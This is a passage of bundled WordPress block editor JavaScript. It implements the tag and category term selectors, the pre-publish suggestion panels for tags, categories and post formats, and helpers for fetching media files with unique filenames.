}) => __nextHasNoMarginBottom ? /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalVStack, {
  spacing: 4,
  children: children
}) : /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.Fragment, {
  children: children
});

/**
 * Renders a flat term selector component.
 *
 * @param {Object}  props                         The component props.
 * @param {string}  props.slug                    The slug of the taxonomy.
 * @param {boolean} props.__nextHasNoMarginBottom Start opting into the new margin-free styles that will become the default in a future version, currently scheduled to be WordPress 7.0. (The prop can be safely removed once this happens.)
 *
 * @return {React.ReactNode} The rendered flat term selector component.
 */
function FlatTermSelector({
  slug,
  __nextHasNoMarginBottom
}) {
  var _taxonomy$labels$add_, _taxonomy$labels$sing2;
  const [values, setValues] = (0,external_wp_element_namespaceObject.useState)([]);
  const [search, setSearch] = (0,external_wp_element_namespaceObject.useState)('');
  const debouncedSearch = (0,external_wp_compose_namespaceObject.useDebounce)(setSearch, 500);
  if (!__nextHasNoMarginBottom) {
    external_wp_deprecated_default()('Bottom margin styles for wp.editor.PostTaxonomiesFlatTermSelector', {
      since: '6.7',
      version: '7.0',
      hint: 'Set the `__nextHasNoMarginBottom` prop to true to start opting into the new styles, which will become the default in a future version.'
    });
  }
  const {
    terms,
    termIds,
    taxonomy,
    hasAssignAction,
    hasCreateAction,
    hasResolvedTerms
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _post$_links, _post$_links2;
    const {
      getCurrentPost,
      getEditedPostAttribute
    } = select(store_store);
    const {
      getEntityRecords,
      getEntityRecord,
      hasFinishedResolution
    } = select(external_wp_coreData_namespaceObject.store);
    const post = getCurrentPost();
    const _taxonomy = getEntityRecord('root', 'taxonomy', slug);
    const _termIds = _taxonomy ? getEditedPostAttribute(_taxonomy.rest_base) : flat_term_selector_EMPTY_ARRAY;
    const query = {
      ...flat_term_selector_DEFAULT_QUERY,
      include: _termIds?.join(','),
      per_page: -1
    };
    return {
      hasCreateAction: _taxonomy ? (_post$_links = post._links?.['wp:action-create-' + _taxonomy.rest_base]) !== null && _post$_links !== void 0 ? _post$_links : false : false,
      hasAssignAction: _taxonomy ? (_post$_links2 = post._links?.['wp:action-assign-' + _taxonomy.rest_base]) !== null && _post$_links2 !== void 0 ? _post$_links2 : false : false,
      taxonomy: _taxonomy,
      termIds: _termIds,
      terms: _termIds?.length ? getEntityRecords('taxonomy', slug, query) : flat_term_selector_EMPTY_ARRAY,
      hasResolvedTerms: hasFinishedResolution('getEntityRecords', ['taxonomy', slug, query])
    };
  }, [slug]);
  const {
    searchResults
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const {
      getEntityRecords
    } = select(external_wp_coreData_namespaceObject.store);
    return {
      searchResults: !!search ? getEntityRecords('taxonomy', slug, {
        ...flat_term_selector_DEFAULT_QUERY,
        search
      }) : flat_term_selector_EMPTY_ARRAY
    };
  }, [search, slug]);

  // Update terms state only after the selectors are resolved.
  // We're using this to avoid terms temporarily disappearing on slow networks
  // while core data makes REST API requests.
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    if (hasResolvedTerms) {
      const newValues = (terms !== null && terms !== void 0 ? terms : []).map(term => unescapeString(term.name));
      setValues(newValues);
    }
  }, [terms, hasResolvedTerms]);
  const suggestions = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return (searchResults !== null && searchResults !== void 0 ? searchResults : []).map(term => unescapeString(term.name));
  }, [searchResults]);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const {
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  if (!hasAssignAction) {
    return null;
  }
  async function findOrCreateTerm(term) {
    try {
      const newTerm = await saveEntityRecord('taxonomy', slug, term, {
        throwOnError: true
      });
      return unescapeTerm(newTerm);
    } catch (error) {
      if (error.code !== 'term_exists') {
        throw error;
      }
      return {
        id: error.data.term_id,
        name: term.name
      };
    }
  }
  function onUpdateTerms(newTermIds) {
    editPost({
      [taxonomy.rest_base]: newTermIds
    });
  }
  function onChange(termNames) {
    const availableTerms = [...(terms !== null && terms !== void 0 ? terms : []), ...(searchResults !== null && searchResults !== void 0 ? searchResults : [])];
    const uniqueTerms = termNames.reduce((acc, name) => {
      if (!acc.some(n => n.toLowerCase() === name.toLowerCase())) {
        acc.push(name);
      }
      return acc;
    }, []);
    const newTermNames = uniqueTerms.filter(termName => !availableTerms.find(term => isSameTermName(term.name, termName)));

    // Optimistically update term values.
    // The selector will always re-fetch terms later.
    setValues(uniqueTerms);
    if (newTermNames.length === 0) {
      onUpdateTerms(termNamesToIds(uniqueTerms, availableTerms));
      return;
    }
    if (!hasCreateAction) {
      return;
    }
    Promise.all(newTermNames.map(termName => findOrCreateTerm({
      name: termName
    }))).then(newTerms => {
      const newAvailableTerms = availableTerms.concat(newTerms);
      onUpdateTerms(termNamesToIds(uniqueTerms, newAvailableTerms));
    }).catch(error => {
      createErrorNotice(error.message, {
        type: 'snackbar'
      });
      // In case of a failure, try assigning available terms.
      // This will invalidate the optimistic update.
      onUpdateTerms(termNamesToIds(uniqueTerms, availableTerms));
    });
  }
  function appendTerm(newTerm) {
    var _taxonomy$labels$sing;
    if (termIds.includes(newTerm.id)) {
      return;
    }
    const newTermIds = [...termIds, newTerm.id];
    const defaultName = slug === 'post_tag' ? (0,external_wp_i18n_namespaceObject.__)('Tag') : (0,external_wp_i18n_namespaceObject.__)('Term');
    const termAddedMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: term name. */
    (0,external_wp_i18n_namespaceObject._x)('%s added', 'term'), (_taxonomy$labels$sing = taxonomy?.labels?.singular_name) !== null && _taxonomy$labels$sing !== void 0 ? _taxonomy$labels$sing : defaultName);
    (0,external_wp_a11y_namespaceObject.speak)(termAddedMessage, 'assertive');
    onUpdateTerms(newTermIds);
  }
  const newTermLabel = (_taxonomy$labels$add_ = taxonomy?.labels?.add_new_item) !== null && _taxonomy$labels$add_ !== void 0 ? _taxonomy$labels$add_ : slug === 'post_tag' ? (0,external_wp_i18n_namespaceObject.__)('Add new tag') : (0,external_wp_i18n_namespaceObject.__)('Add new Term');
  const singularName = (_taxonomy$labels$sing2 = taxonomy?.labels?.singular_name) !== null && _taxonomy$labels$sing2 !== void 0 ? _taxonomy$labels$sing2 : slug === 'post_tag' ? (0,external_wp_i18n_namespaceObject.__)('Tag') : (0,external_wp_i18n_namespaceObject.__)('Term');
  const termAddedLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: term name. */
  (0,external_wp_i18n_namespaceObject._x)('%s added', 'term'), singularName);
  const termRemovedLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: term name. */
  (0,external_wp_i18n_namespaceObject._x)('%s removed', 'term'), singularName);
  const removeTermLabel = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: term name. */
  (0,external_wp_i18n_namespaceObject._x)('Remove %s', 'term'), singularName);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(Wrapper, {
    __nextHasNoMarginBottom: __nextHasNoMarginBottom,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FormTokenField, {
      __next40pxDefaultSize: true,
      value: values,
      suggestions: suggestions,
      onChange: onChange,
      onInputChange: debouncedSearch,
      maxSuggestions: MAX_TERMS_SUGGESTIONS,
      label: newTermLabel,
      messages: {
        added: termAddedLabel,
        removed: termRemovedLabel,
        remove: removeTermLabel
      },
      __nextHasNoMarginBottom: __nextHasNoMarginBottom
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MostUsedTerms, {
      taxonomy: taxonomy,
      onSelect: appendTerm
    })]
  });
}
/* harmony default export */ const flat_term_selector = ((0,external_wp_components_namespaceObject.withFilters)('editor.PostTaxonomyType')(FlatTermSelector));

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-tags-panel.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



const TagsPanel = () => {
  const panelBodyTitle = [(0,external_wp_i18n_namespaceObject.__)('Suggestion:'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "editor-post-publish-panel__link",
    children: (0,external_wp_i18n_namespaceObject.__)('Add tags')
  }, "label")];
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
    initialOpen: false,
    title: panelBodyTitle,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Tags help users and search engines navigate your site and find your content. Add a few keywords to describe your post.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(flat_term_selector, {
      slug: "post_tag",
      __nextHasNoMarginBottom: true
    })]
  });
};
const MaybeTagsPanel = () => {
  const {
    hasTags,
    isPostTypeSupported
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const postType = select(store_store).getCurrentPostType();
    const tagsTaxonomy = select(external_wp_coreData_namespaceObject.store).getEntityRecord('root', 'taxonomy', 'post_tag');
    const _isPostTypeSupported = tagsTaxonomy?.types?.includes(postType);
    const areTagsFetched = tagsTaxonomy !== undefined;
    const tags = tagsTaxonomy && select(store_store).getEditedPostAttribute(tagsTaxonomy.rest_base);
    return {
      hasTags: !!tags?.length,
      isPostTypeSupported: areTagsFetched && _isPostTypeSupported
    };
  }, []);
  const [hadTagsWhenOpeningThePanel] = (0,external_wp_element_namespaceObject.useState)(hasTags);
  if (!isPostTypeSupported) {
    return null;
  }

  /*
   * We only want to show the tag panel if the post didn't have
   * any tags when the user hit the Publish button.
   *
   * We can't use the prop.hasTags because it'll change to true
   * if the user adds a new tag within the pre-publish panel.
   * This would force a re-render and a new prop.hasTags check,
   * hiding this panel and keeping the user from adding
   * more than one tag.
   */
  if (!hadTagsWhenOpeningThePanel) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(TagsPanel, {});
  }
  return null;
};
/* harmony default export */ const maybe_tags_panel = (MaybeTagsPanel);

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-post-format-panel.js
/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */



const getSuggestion = (supportedFormats, suggestedPostFormat) => {
  const formats = POST_FORMATS.filter(format => supportedFormats?.includes(format.id));
  return formats.find(format => format.id === suggestedPostFormat);
};
const PostFormatSuggestion = ({
  suggestedPostFormat,
  suggestionText,
  onUpdatePostFormat
}) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
  __next40pxDefaultSize: true,
  variant: "link",
  onClick: () => onUpdatePostFormat(suggestedPostFormat),
  children: suggestionText
});
function PostFormatPanel() {
  const {
    currentPostFormat,
    suggestion
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _select$getThemeSuppo;
    const {
      getEditedPostAttribute,
      getSuggestedPostFormat
    } = select(store_store);
    const supportedFormats = (_select$getThemeSuppo = select(external_wp_coreData_namespaceObject.store).getThemeSupports().formats) !== null && _select$getThemeSuppo !== void 0 ? _select$getThemeSuppo : [];
    return {
      currentPostFormat: getEditedPostAttribute('format'),
      suggestion: getSuggestion(supportedFormats, getSuggestedPostFormat())
    };
  }, []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const onUpdatePostFormat = format => editPost({
    format
  });
  const panelBodyTitle = [(0,external_wp_i18n_namespaceObject.__)('Suggestion:'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "editor-post-publish-panel__link",
    children: (0,external_wp_i18n_namespaceObject.__)('Use a post format')
  }, "label")];
  if (!suggestion || suggestion.id === currentPostFormat) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
    initialOpen: false,
    title: panelBodyTitle,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatSuggestion, {
        onUpdatePostFormat: onUpdatePostFormat,
        suggestedPostFormat: suggestion.id,
        suggestionText: (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: post format */
        (0,external_wp_i18n_namespaceObject.__)('Apply the "%1$s" format.'), suggestion.caption)
      })
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/hierarchical-term-selector.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */



/**
 * Module Constants
 */

const hierarchical_term_selector_DEFAULT_QUERY = {
  per_page: -1,
  orderby: 'name',
  order: 'asc',
  _fields: 'id,name,parent',
  context: 'view'
};
const MIN_TERMS_COUNT_FOR_FILTER = 8;
const hierarchical_term_selector_EMPTY_ARRAY = [];

/**
 * Sort Terms by Selected.
 *
 * @param {Object[]} termsTree Array of terms in tree format.
 * @param {number[]} terms     Selected terms.
 *
 * @return {Object[]} Sorted array of terms.
 */
function sortBySelected(termsTree, terms) {
  const treeHasSelection = termTree => {
    if (terms.indexOf(termTree.id) !== -1) {
      return true;
    }
    if (undefined === termTree.children) {
      return false;
    }
    return termTree.children.map(treeHasSelection).filter(child => child).length > 0;
  };
  const termOrChildIsSelected = (termA, termB) => {
    const termASelected = treeHasSelection(termA);
    const termBSelected = treeHasSelection(termB);
    if (termASelected === termBSelected) {
      return 0;
    }
    if (termASelected && !termBSelected) {
      return -1;
    }
    if (!termASelected && termBSelected) {
      return 1;
    }
    return 0;
  };
  const newTermTree = [...termsTree];
  newTermTree.sort(termOrChildIsSelected);
  return newTermTree;
}

/**
 * Find term by parent id or name.
 *
 * @param {Object[]}      terms  Array of Terms.
 * @param {number|string} parent id.
 * @param {string}        name   Term name.
 * @return {Object} Term object.
 */
function findTerm(terms, parent, name) {
  return terms.find(term => {
    return (!term.parent && !parent || parseInt(term.parent) === parseInt(parent)) && term.name.toLowerCase() === name.toLowerCase();
  });
}

/**
 * Get filter matcher function.
 *
 * @param {string} filterValue Filter value.
 * @return {(function(Object): (Object|boolean))} Matcher function.
 */
function getFilterMatcher(filterValue) {
  const matchTermsForFilter = originalTerm => {
    if ('' === filterValue) {
      return originalTerm;
    }

    // Shallow clone, because we'll be filtering the term's children and
    // don't want to modify the original term.
    const term = {
      ...originalTerm
    };

    // Map and filter the children, recursive so we deal with grandchildren
    // and any deeper levels.
    if (term.children.length > 0) {
      term.children = term.children.map(matchTermsForFilter).filter(child => child);
    }

    // If the term's name contains the filterValue, or it has children
    // (i.e. some child matched at some point in the tree) then return it.
    if (-1 !== term.name.toLowerCase().indexOf(filterValue.toLowerCase()) || term.children.length > 0) {
      return term;
    }

    // Otherwise, return false. After mapping, the list of terms will need
    // to have false values filtered out.
    return false;
  };
  return matchTermsForFilter;
}

/**
 * Hierarchical term selector.
 *
 * @param {Object} props      Component props.
 * @param {string} props.slug Taxonomy slug.
 * @return {Element}        Hierarchical term selector component.
 */
function HierarchicalTermSelector({
  slug
}) {
  var _taxonomy$labels$sear, _taxonomy$name;
  const [adding, setAdding] = (0,external_wp_element_namespaceObject.useState)(false);
  const [formName, setFormName] = (0,external_wp_element_namespaceObject.useState)('');
  /**
   * @type {[number|'', Function]}
   */
  const [formParent, setFormParent] = (0,external_wp_element_namespaceObject.useState)('');
  const [showForm, setShowForm] = (0,external_wp_element_namespaceObject.useState)(false);
  const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)('');
  const [filteredTermsTree, setFilteredTermsTree] = (0,external_wp_element_namespaceObject.useState)([]);
  const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
  const {
    hasCreateAction,
    hasAssignAction,
    terms,
    loading,
    availableTerms,
    taxonomy
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    var _post$_links, _post$_links2;
    const {
      getCurrentPost,
      getEditedPostAttribute
    } = select(store_store);
    const {
      getEntityRecord,
      getEntityRecords,
      isResolving
    } = select(external_wp_coreData_namespaceObject.store);
    const _taxonomy = getEntityRecord('root', 'taxonomy', slug);
    const post = getCurrentPost();
    return {
      hasCreateAction: _taxonomy ? (_post$_links = post._links?.['wp:action-create-' + _taxonomy.rest_base]) !== null && _post$_links !== void 0 ? _post$_links : false : false,
      hasAssignAction: _taxonomy ? (_post$_links2 = post._links?.['wp:action-assign-' + _taxonomy.rest_base]) !== null && _post$_links2 !== void 0 ? _post$_links2 : false : false,
      terms: _taxonomy ? getEditedPostAttribute(_taxonomy.rest_base) : hierarchical_term_selector_EMPTY_ARRAY,
      loading: isResolving('getEntityRecords', ['taxonomy', slug, hierarchical_term_selector_DEFAULT_QUERY]),
      availableTerms: getEntityRecords('taxonomy', slug, hierarchical_term_selector_DEFAULT_QUERY) || hierarchical_term_selector_EMPTY_ARRAY,
      taxonomy: _taxonomy
    };
  }, [slug]);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const {
    saveEntityRecord
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
  const availableTermsTree = (0,external_wp_element_namespaceObject.useMemo)(() => sortBySelected(terms_buildTermsTree(availableTerms), terms),
  // Remove `terms` from the dependency list to avoid reordering every time
  // checking or unchecking a term.
  [availableTerms]);
  const {
    createErrorNotice
  } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
  if (!hasAssignAction) {
    return null;
  }

  /**
   * Append new term.
   *
   * @param {Object} term Term object.
   * @return {Promise} A promise that resolves to save term object.
   */
  const addTerm = term => {
    return saveEntityRecord('taxonomy', slug, term, {
      throwOnError: true
    });
  };

  /**
   * Update terms for post.
   *
   * @param {number[]} termIds Term ids.
   */
  const onUpdateTerms = termIds => {
    editPost({
      [taxonomy.rest_base]: termIds
    });
  };

  /**
   * Handler for checking term.
   *
   * @param {number} termId
   */
  const onChange = termId => {
    const hasTerm = terms.includes(termId);
    const newTerms = hasTerm ? terms.filter(id => id !== termId) : [...terms, termId];
    onUpdateTerms(newTerms);
  };
  const onChangeFormName = value => {
    setFormName(value);
  };

  /**
   * Handler for changing form parent.
   *
   * @param {number|''} parentId Parent post id.
   */
  const onChangeFormParent = parentId => {
    setFormParent(parentId);
  };
  const onToggleForm = () => {
    setShowForm(!showForm);
  };
  const onAddTerm = async event => {
    var _taxonomy$labels$sing;
    event.preventDefault();
    if (formName === '' || adding) {
      return;
    }

    // Check if the term we are adding already exists.
    const existingTerm = findTerm(availableTerms, formParent, formName);
    if (existingTerm) {
      // If the term we are adding exists but is not selected select it.
      if (!terms.some(term => term === existingTerm.id)) {
        onUpdateTerms([...terms, existingTerm.id]);
      }
      setFormName('');
      setFormParent('');
      return;
    }
    setAdding(true);
    let newTerm;
    try {
      newTerm = await addTerm({
        name: formName,
        parent: formParent ? formParent : undefined
      });
    } catch (error) {
      createErrorNotice(error.message, {
        type: 'snackbar'
      });
      return;
    }
    const defaultName = slug === 'category' ? (0,external_wp_i18n_namespaceObject.__)('Category') : (0,external_wp_i18n_namespaceObject.__)('Term');
    const termAddedMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %s: term name. */
    (0,external_wp_i18n_namespaceObject._x)('%s added', 'term'), (_taxonomy$labels$sing = taxonomy?.labels?.singular_name) !== null && _taxonomy$labels$sing !== void 0 ? _taxonomy$labels$sing : defaultName);
    (0,external_wp_a11y_namespaceObject.speak)(termAddedMessage, 'assertive');
    setAdding(false);
    setFormName('');
    setFormParent('');
    onUpdateTerms([...terms, newTerm.id]);
  };
  const setFilter = value => {
    const newFilteredTermsTree = availableTermsTree.map(getFilterMatcher(value)).filter(term => term);
    const getResultCount = termsTree => {
      let count = 0;
      for (let i = 0; i < termsTree.length; i++) {
        count++;
        if (undefined !== termsTree[i].children) {
          count += getResultCount(termsTree[i].children);
        }
      }
      return count;
    };
    setFilterValue(value);
    setFilteredTermsTree(newFilteredTermsTree);
    const resultCount = getResultCount(newFilteredTermsTree);
    const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of results. */
    (0,external_wp_i18n_namespaceObject._n)('%d result found.', '%d results found.', resultCount), resultCount);
    debouncedSpeak(resultsFoundMessage, 'assertive');
  };
  const renderTerms = renderedTerms => {
    return renderedTerms.map(term => {
      return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "editor-post-taxonomies__hierarchical-terms-choice",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
          __nextHasNoMarginBottom: true,
          checked: terms.indexOf(term.id) !== -1,
          onChange: () => {
            const termId = parseInt(term.id, 10);
            onChange(termId);
          },
          label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(term.name)
        }), !!term.children.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
          className: "editor-post-taxonomies__hierarchical-terms-subchoices",
          children: renderTerms(term.children)
        })]
      }, term.id);
    });
  };
  const labelWithFallback = (labelProperty, fallbackIsCategory, fallbackIsNotCategory) => {
    var _taxonomy$labels$labe;
    return (_taxonomy$labels$labe = taxonomy?.labels?.[labelProperty]) !== null && _taxonomy$labels$labe !== void 0 ? _taxonomy$labels$labe : slug === 'category' ? fallbackIsCategory : fallbackIsNotCategory;
  };
  const newTermButtonLabel = labelWithFallback('add_new_item', (0,external_wp_i18n_namespaceObject.__)('Add new category'), (0,external_wp_i18n_namespaceObject.__)('Add new term'));
  const newTermLabel = labelWithFallback('new_item_name', (0,external_wp_i18n_namespaceObject.__)('Add new category'), (0,external_wp_i18n_namespaceObject.__)('Add new term'));
  const parentSelectLabel = labelWithFallback('parent_item', (0,external_wp_i18n_namespaceObject.__)('Parent Category'), (0,external_wp_i18n_namespaceObject.__)('Parent Term'));
  const noParentOption = `— ${parentSelectLabel} —`;
  const newTermSubmitLabel = newTermButtonLabel;
  const filterLabel = (_taxonomy$labels$sear = taxonomy?.labels?.search_items) !== null && _taxonomy$labels$sear !== void 0 ? _taxonomy$labels$sear : (0,external_wp_i18n_namespaceObject.__)('Search Terms');
  const groupLabel = (_taxonomy$name = taxonomy?.name) !== null && _taxonomy$name !== void 0 ? _taxonomy$name : (0,external_wp_i18n_namespaceObject.__)('Terms');
  const showFilter = availableTerms.length >= MIN_TERMS_COUNT_FOR_FILTER;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
    direction: "column",
    gap: "4",
    children: [showFilter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.SearchControl, {
      __next40pxDefaultSize: true,
      __nextHasNoMarginBottom: true,
      label: filterLabel,
      placeholder: filterLabel,
      value: filterValue,
      onChange: setFilter
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("div", {
      className: "editor-post-taxonomies__hierarchical-terms-list",
      tabIndex: "0",
      role: "group",
      "aria-label": groupLabel,
      children: renderTerms('' !== filterValue ? filteredTermsTree : availableTermsTree)
    }), !loading && hasCreateAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        onClick: onToggleForm,
        className: "editor-post-taxonomies__hierarchical-terms-add",
        "aria-expanded": showForm,
        variant: "link",
        children: newTermButtonLabel
      })
    }), showForm && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("form", {
      onSubmit: onAddTerm,
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, {
        direction: "column",
        gap: "4",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TextControl, {
          __next40pxDefaultSize: true,
          __nextHasNoMarginBottom: true,
          className: "editor-post-taxonomies__hierarchical-terms-input",
          label: newTermLabel,
          value: formName,
          onChange: onChangeFormName,
          required: true
        }), !!availableTerms.length && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.TreeSelect, {
          __next40pxDefaultSize: true,
          __nextHasNoMarginBottom: true,
          label: parentSelectLabel,
          noOptionLabel: noParentOption,
          onChange: onChangeFormParent,
          selectedId: formParent,
          tree: availableTermsTree
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
            __next40pxDefaultSize: true,
            variant: "secondary",
            type: "submit",
            className: "editor-post-taxonomies__hierarchical-terms-submit",
            children: newTermSubmitLabel
          })
        })]
      })
    })]
  });
}
/* harmony default export */ const hierarchical_term_selector = ((0,external_wp_components_namespaceObject.withFilters)('editor.PostTaxonomyType')(HierarchicalTermSelector));

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-category-panel.js
/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



function MaybeCategoryPanel() {
  const hasNoCategory = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const postType = select(store_store).getCurrentPostType();
    const {
      canUser,
      getEntityRecord
    } = select(external_wp_coreData_namespaceObject.store);
    const categoriesTaxonomy = getEntityRecord('root', 'taxonomy', 'category');
    const defaultCategoryId = canUser('read', {
      kind: 'root',
      name: 'site'
    }) ? getEntityRecord('root', 'site')?.default_category : undefined;
    const defaultCategory = defaultCategoryId ? getEntityRecord('taxonomy', 'category', defaultCategoryId) : undefined;
    const postTypeSupportsCategories = categoriesTaxonomy && categoriesTaxonomy.types.some(type => type === postType);
    const categories = categoriesTaxonomy && select(store_store).getEditedPostAttribute(categoriesTaxonomy.rest_base);

    // This boolean should return true if everything is loaded
    // ( categoriesTaxonomy, defaultCategory )
    // and the post has not been assigned a category different than "uncategorized".
    return !!categoriesTaxonomy && !!defaultCategory && postTypeSupportsCategories && (categories?.length === 0 || categories?.length === 1 && defaultCategory?.id === categories[0]);
  }, []);
  const [shouldShowPanel, setShouldShowPanel] = (0,external_wp_element_namespaceObject.useState)(false);
  (0,external_wp_element_namespaceObject.useEffect)(() => {
    // We use state to avoid hiding the panel if the user edits the categories
    // and adds one within the panel itself (while visible).
    if (hasNoCategory) {
      setShouldShowPanel(true);
    }
  }, [hasNoCategory]);
  if (!shouldShowPanel) {
    return null;
  }
  const panelBodyTitle = [(0,external_wp_i18n_namespaceObject.__)('Suggestion:'), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
    className: "editor-post-publish-panel__link",
    children: (0,external_wp_i18n_namespaceObject.__)('Assign a category')
  }, "label")];
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, {
    initialOpen: false,
    title: panelBodyTitle,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: (0,external_wp_i18n_namespaceObject.__)('Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about.')
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(hierarchical_term_selector, {
      slug: "category"
    })]
  });
}
/* harmony default export */ const maybe_category_panel = (MaybeCategoryPanel);

;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/media-util.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */


/**
 * Generate a list of unique basenames given a list of URLs.
 *
 * We want all basenames to be unique, since sometimes the extension
 * doesn't reflect the mime type, and may end up getting changed by
 * the server, on upload.
 *
 * @param {string[]} urls The list of URLs
 * @return {Record< string, string >} A URL => basename record.
 */
function generateUniqueBasenames(urls) {
  const basenames = new Set();
  return Object.fromEntries(urls.map(url => {
    // We prefer to match the remote filename, if possible.
    const filename = (0,external_wp_url_namespaceObject.getFilename)(url);
    let basename = '';
    if (filename) {
      const parts = filename.split('.');
      if (parts.length > 1) {
        // Assume the last part is the extension.
        parts.pop();
      }
      basename = parts.join('.');
    }
    if (!basename) {
      // It looks like we don't have a basename, so let's use a UUID.
      basename = esm_browser_v4();
    }
    if (basenames.has(basename)) {
      // Append a UUID to deduplicate the basename.
      // The server will try to deduplicate on its own if we don't do this,
      // but it may run into a race condition
      // (see https://github.com/WordPress/gutenberg/issues/64899).
      // Deduplicating the filenames before uploading is safer.
      basename = `${basename}-${esm_browser_v4()}`;
    }
    basenames.add(basename);
    return [url, basename];
  }));
}

/**
 * Fetch a list of URLs, turning those into promises for files with
 * unique filenames.
 *
 * @param {string[]} urls The list of URLs
 * @return {Record< string, Promise< File > >} A URL => File promise record.
 */
function fetchMedia(urls) {
  return Object.fromEntries(Object.entries(generateUniqueBasenames(urls)).map(([url, basename]) => {
    const filePromise = window.fetch(url.includes('?') ? url : url + '?').then(response => response.blob()).then(blob => {
      // The server will reject the upload if it doesn't have an extension,
